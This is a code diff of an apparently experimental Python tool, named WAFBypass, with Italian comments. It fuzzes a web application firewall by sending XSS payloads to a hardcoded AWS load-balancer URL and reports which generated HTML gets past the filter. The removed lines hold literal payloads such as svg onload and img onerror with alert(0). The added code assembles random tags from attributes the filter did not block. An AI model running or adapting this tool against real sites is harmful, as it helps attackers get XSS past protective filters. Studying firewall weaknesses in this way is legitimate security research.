self.wait_for_pageload()
|
self.wait_for_pageload()
|
||||||
|
|
||||||
bypass = False
|
is403 = False
|
||||||
|
|
||||||
if self.is_403:
|
if self.is_403:
|
||||||
bypass = False
|
is403 = True
|
||||||
else:
|
else:
|
||||||
bypass = True
|
is403 = False
|
||||||
|
|
||||||
bypass = bypass and self.triggered_xss
|
triggerxss = self.triggered_xss
|
||||||
|
|
||||||
return bypass
|
return (is403, triggerxss)
|
||||||
|
|
||||||
def run_fuzz(self):
|
def run_fuzz(self):
|
||||||
payloads = [
|
"""
|
||||||
"<svg{FUZZ}onload=alert(0)>",
|
Fuzzing solo su attributi non filtrati.
|
||||||
"<svg\{FUZZ}onload=alert(0)>",
|
"""
|
||||||
"\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
|
print("[*] Start fuzzing:")
|
||||||
"""<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
|
|
||||||
]
|
|
||||||
try:
|
try:
|
||||||
for i in range(0, 0x10FFFF):
|
for attr in self.unfiltered_attributes:
|
||||||
for p in payloads:
|
# print(f"[*] Testing {attr.name} attribute {attr}")
|
||||||
encoded = urlencode(
|
encoded = urlencode({"param2": f"{attr}"})
|
||||||
{"param2": p.replace("{FUZZ}", chr(i))})
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
|
# print(url)
|
||||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
_, trigger = self.navigate(url)
|
||||||
bypassed = self.navigate(url)
|
|
||||||
if bypassed:
|
|
||||||
print("Bypassed with payload: ", encoded)
|
|
||||||
break
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
self.driver.close()
|
self.driver.close()
|
||||||
exit(0)
|
exit(0)
|
||||||
|
|
||||||
|
def run_fuzz2(self, num_iterations=100000):
|
||||||
|
"""
|
||||||
|
Esegue un fuzzing personalizzato utilizzando solo tag e attributi che non sono stati filtrati.
|
||||||
|
"""
|
||||||
|
print("\n[*] Start fuzzing:")
|
||||||
|
try:
|
||||||
|
for _ in range(num_iterations):
|
||||||
|
tag_obj = random.choice(self.unfiltered_tags)
|
||||||
|
attr = random.choice(self.unfiltered_attributes)
|
||||||
|
|
||||||
|
# Genera numero random di figli (child) e attributi per ciascun figlio
|
||||||
|
num_child = random.randint(5, 10)
|
||||||
|
children = []
|
||||||
|
|
||||||
|
for _ in range(num_child):
|
||||||
|
child_tag = random.choice(self.unfiltered_tags)
|
||||||
|
child_attr = random.choice(self.unfiltered_attributes)
|
||||||
|
|
||||||
|
if child_tag.self_closing:
|
||||||
|
children.append(f"<{child_tag.name} {child_attr}/>")
|
||||||
|
else:
|
||||||
|
children.append(f"<{child_tag.name} {child_attr}></{child_tag.name}>")
|
||||||
|
|
||||||
|
# Crea la stringa del tag HTML
|
||||||
|
if tag_obj.self_closing:
|
||||||
|
tag_str = f"<{tag_obj.name} {attr}/>"
|
||||||
|
else:
|
||||||
|
child_str = ''.join(children)
|
||||||
|
tag_str = f"<{tag_obj.name} {attr}>{child_str}</{tag_obj.name}>"
|
||||||
|
|
||||||
|
# Codifica e invia la richiesta
|
||||||
|
encoded = urlencode({"param2": tag_str})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
|
||||||
|
is403, triggered = self.navigate(url)
|
||||||
|
|
||||||
|
if not is403 and triggered:
|
||||||
|
print(f"[*] Bypass found: {tag_str}")
|
||||||
|
# if args.link:
|
||||||
|
print(f" {url}")
|
||||||
|
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.driver.close()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
# Creazione dell'istanza della classe.
|
||||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
||||||
w.run_fuzz()
|
|
||||||
|
# Avvio identificazione di attributi e tag validi
|
||||||
|
|
||||||
|
w.identify_unfiltered_attributes()
|
||||||
|
w.identify_unfiltered_tags()
|
||||||
|
w.run_fuzz2()
|
||||||
|
|
||||||
|
'''
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description="WAF Bypass Fuzzer")
|
||||||
|
parser.add_argument('-u', '--url', required=True, help='Target URL')
|
||||||
|
parser.add_argument('-p', '--param', required=True, help='Target Parameter')
|
||||||
|
parser.add_argument('-i', '--iterations', type=int, help='Number of iterations (default: infinite)')
|
||||||
|
parser.add_argument('-l', '--link', action='store_true', help='Provide full request link')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
w = WAFBypass(args.url)
|
||||||
|
|
||||||
|
if args.iterations:
|
||||||
|
w.run_fuzz2(num_iterations=args.iterations)
|
||||||
|
else:
|
||||||
|
# loop infinito se '-i' non è specificato
|
||||||
|
while True:
|
||||||
|
w.identify_unfiltered_attributes()
|
||||||
|
w.identify_unfiltered_tags()
|
||||||
|
w.run_fuzz2()
|
||||||
|
|
||||||
|
'''
|
||||||
|
Loading…
Reference in New Issue
Block a user